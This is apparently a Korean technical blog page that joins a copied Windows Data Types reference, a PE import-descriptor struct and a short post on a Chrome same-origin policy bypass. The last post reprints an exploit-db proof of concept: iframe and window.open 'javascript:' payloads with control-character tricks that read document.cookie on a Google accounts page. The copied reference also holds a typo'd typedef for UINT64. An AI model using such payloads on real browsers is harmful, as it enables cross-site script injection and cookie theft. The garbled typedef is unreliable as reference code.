This type is declared in BaseTsd.h as follows:

typedef SSIZE_T *PSSIZE_T;

PSTR

Pointer to a null-terminated string of 8-bit Windows (ANSI) characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef CHAR *PSTR;

PTBYTE

Pointer to a TBYTE.

This type is declared in WinNT.h as follows:

typedef TBYTE *PTBYTE;

PTCHAR

Pointer to a TCHAR.

This type is declared in WinNT.h as follows:

typedef TCHAR *PTCHAR;

PTSTR

A PWSTR if UNICODE is defined, a PSTR otherwise.

This type is declared in WinNT.h as follows:

#ifdef UNICODE
typedef LPWSTR PTSTR;
#else typedef LPSTR PTSTR;
#endif

PUCHAR

Pointer to a UCHAR.

This type is declared in WinDef.h as follows:

typedef UCHAR *PUCHAR;

PUHALF_PTR

Pointer to a UHALF_PTR.

This type is declared in Basetsd.h as follows:

#ifdef _WIN64
typedef UHALF_PTR *PUHALF_PTR;
#else
typedef UHALF_PTR *PUHALF_PTR;
#endif

PUINT

Pointer to a UINT.

This type is declared in WinDef.h as follows:

typedef UINT *PUINT;

PUINT_PTR

Pointer to a UINT_PTR.

This type is declared in BaseTsd.h as follows:

typedef UINT_PTR *PUINT_PTR;

PUINT32

Pointer to a UINT32.

This type is declared in BaseTsd.h as follows:

typedef UINT32 *PUINT32;

PUINT64

Pointer to a UINT64.

This type is declared in BaseTsd.h as follows:

typedef UINT64 *PUINT64;

PULONG

Pointer to a ULONG.

This type is declared in WinDef.h as follows:

typedef ULONG *PULONG;

PULONGLONG

Pointer to a ULONGLONG.

This type is declared in WinDef.h as follows:

typedef ULONGLONG *PULONGLONG;

PULONG_PTR

Pointer to a ULONG_PTR.

This type is declared in BaseTsd.h as follows:

typedef ULONG_PTR *PULONG_PTR;

PULONG32

Pointer to a ULONG32.

This type is declared in BaseTsd.h as follows:

typedef ULONG32 *PULONG32;

PULONG64

Pointer to a ULONG64.

This type is declared in BaseTsd.h as follows:

typedef ULONG64 *PULONG64;

PUSHORT

Pointer to a USHORT.

This type is declared in WinDef.h as follows:

typedef USHORT *PUSHORT;

PVOID

Pointer to any type.

This type is declared in WinNT.h as follows:

typedef void *PVOID;

PWCHAR

Pointer to a WCHAR.

This type is declared in WinNT.h as follows:

typedef WCHAR *PWCHAR;

PWORD

Pointer to a WORD.

This type is declared in WinDef.h as follows:

typedef WORD *PWORD;

PWSTR

Pointer to a null- terminated string of 16-bit Unicode characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef WCHAR *PWSTR;

SC_HANDLE

Handle to a service control manager database. For more information, see SCM Handles.

This type is declared in WinSvc.h as follows:

typedef HANDLE SC_HANDLE;

SC_LOCK

Lock to a service control manager database. For more information, see SCM Handles.

This type is declared in WinSvc.h as follows:

typedef LPVOID SC_LOCK;

SERVICE_STATUS_HANDLE

Handle to a service status value. For more information, see SCM Handles.

This type is declared in WinSvc.h as follows:

typedef HANDLE SERVICE_STATUS_HANDLE;

SHORT

A 16-bit integer. The range is ?32768 through 32767 decimal.

This type is declared in WinNT.h as follows:

typedef short SHORT;

SIZE_T

The maximum number of bytes to which a pointer can point. Use for a count that must span the full range of a pointer.

This type is declared in BaseTsd.h as follows:

typedef ULONG_PTR SIZE_T;

SSIZE_T

Signed SIZE_T.

This type is declared in BaseTsd.h as follows:

typedef LONG_PTR SSIZE_T;

TBYTE

A WCHAR if UNICODE is defined, a CHAR otherwise.

This type is declared in WinNT.h as follows:

#ifdef UNICODE
typedef WCHAR TBYTE;
#else
typedef unsigned char TBYTE;
#endif

TCHAR

A WCHAR if UNICODE is defined, a CHAR otherwise.

This type is declared in WinNT.h as follows:

#ifdef UNICODE
typedef WCHAR TCHAR;
#else
typedef char TCHAR;
#endif

UCHAR

Unsigned CHAR.

This type is declared in WinDef.h as follows:

typedef unsigned char UCHAR;

UHALF_PTR

Unsigned HALF_PTR. Use within a structure that contains a pointer and two small fields.

This type is declared in Basetsd.h as follows:

#ifdef _WIN64
typedef unsigned int UHALF_PTR;
#else
typedef unsigned short UHALF_PTR;
#endif

UINT

Unsigned INT. The range is 0 through 4294967295 decimal.

This type is declared in WinDef.h as follows:

typedef unsigned int UINT;

UINT_PTR

Unsigned INT_PTR.

This type is declared in BaseTsd.h as follows:

#if defined(_WIN64)
typedef unsigned __int64 UINT_PTR;
#else
typedef unsigned int UINT_PTR;
#endif

UINT32

Unsigned INT32. The range is 0 through 4294967295 decimal.

This type is declared in BaseTsd.h as follows:

typedef unsigned int UINT32;

UINT64

Unsigned INT64. The range is 0 through 18446744073709551615 decimal.

This type is declared in BaseTsd.h as follows:

typedef usigned __int 64 UINT64;

ULONG

Unsigned LONG. The range is 0 through 4294967295 decimal.

This type is declared in WinDef.h as follows:

typedef unsigned long ULONG;

ULONGLONG

64-bit unsigned integer. The range is 0 through 18446744073709551615 decimal.

This type is declared in WinNT.h as follows:

#if !defined(_M_IX86)
typedef unsigned __int64 ULONGLONG;
#else
typedef double ULONGLONG;
#endif

ULONG_PTR

Unsigned LONG_PTR.

This type is declared in BaseTsd.h as follows:

#if defined(_WIN64)
typedef unsigned __int64 ULONG_PTR;
#else
typedef unsigned long ULONG_PTR;
#endif

ULONG32

Unsigned LONG32. The range is 0 through 4294967295 decimal.

This type is declared in BaseTsd.h as follows:

typedef unsigned int ULONG32;

ULONG64

Unsigned LONG64. The range is 0 through 18446744073709551615 decimal.

This type is declared in BaseTsd.h as follows:

typedef unsigned __int64 ULONG64;

UNICODE_STRING

A Unicode string.

This type is declared in Winternl.h as follows:

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;

USHORT

Unsigned SHORT. The range is 0 through 65535 decimal.

This type is declared in WinDef.h as follows:

typedef unsigned short USHORT;

USN

Update sequence number (USN).

This type is declared in WinNT.h as follows:

typedef LONGLONG USN;

VOID

Any type.

This type is declared in WinNT.h as follows:

#define VOID void

WCHAR

16-bit Unicode character. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef wchar_t WCHAR;

WINAPI

Calling convention for system functions.

This type is declared in WinDef.h as follows:

#define WINAPI __stdcall

WORD

16-bit unsigned integer. The range is 0 through 65535 decimal.

This type is declared in WinDef.h as follows:

typedef unsigned short WORD;

WPARAM

Message parameter.

This type is declared in WinDef.h as follows:

typedef UINT_PTR WPARAM;

Send comments about this topic to Microsoft

Build date: 3/27/2008

 

즐프하세요.

'windows' 카테고리의 다른 글

자동실행 레지스트리 경로  (0) 2011.12.11
IMAGE_THUNK_DATA32  (0) 2010.05.24
PIMAGE_IMPORT_DESCRIPTOR  (0) 2010.05.24
WinNT.h  (0) 2010.05.24
GetModuleHandle과 LoadLibrary  (0) 2010.05.11
Posted by applicationlayer
:

PIMAGE_IMPORT_DESCRIPTOR

windows 2010. 5. 24. 11:34 |
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    };
    DWORD   TimeDateStamp;                  // 0 if not bound,
                                            // -1 if bound, and real date\time stamp
                                            //     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                            // O.W. date/time stamp of DLL bound to (Old BIND)

    DWORD   ForwarderChain;                 // -1 if no forwarders
    DWORD   Name;
    DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

'windows' 카테고리의 다른 글

IMAGE_THUNK_DATA32  (0) 2010.05.24
Windows Data Types  (0) 2010.05.24
WinNT.h  (0) 2010.05.24
GetModuleHandle과 LoadLibrary  (0) 2010.05.11
Toolhelp32를 이용한 프로세스ID얻기  (0) 2009.10.02
Posted by applicationlayer
:

WinNT.h

windows 2010. 5. 24. 08:57 |
야호

'windows' 카테고리의 다른 글

Windows Data Types  (0) 2010.05.24
PIMAGE_IMPORT_DESCRIPTOR  (0) 2010.05.24
GetModuleHandle과 LoadLibrary  (0) 2010.05.11
Toolhelp32를 이용한 프로세스ID얻기  (0) 2009.10.02
context switch  (0) 2009.10.01
Posted by applicationlayer
:

구글 크롬에서 발견된 동일 근원 정책(Same-Origin Policy) 정책 우회 취약점

SOP가 우회되는 브라우저를 사용하게되면 방문하는 모든 사이트가 XSS에 취약하게 된다.

poc는 다음과 같다. (출처:http://www.exploit-db.com/exploits/12657)
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a>

'vulnerability > sop' 카테고리의 다른 글

androind chrome sop bypass  (0) 2013.02.18
브라우저별 domain SOP허용범위  (0) 2013.02.12
Posted by applicationlayer
: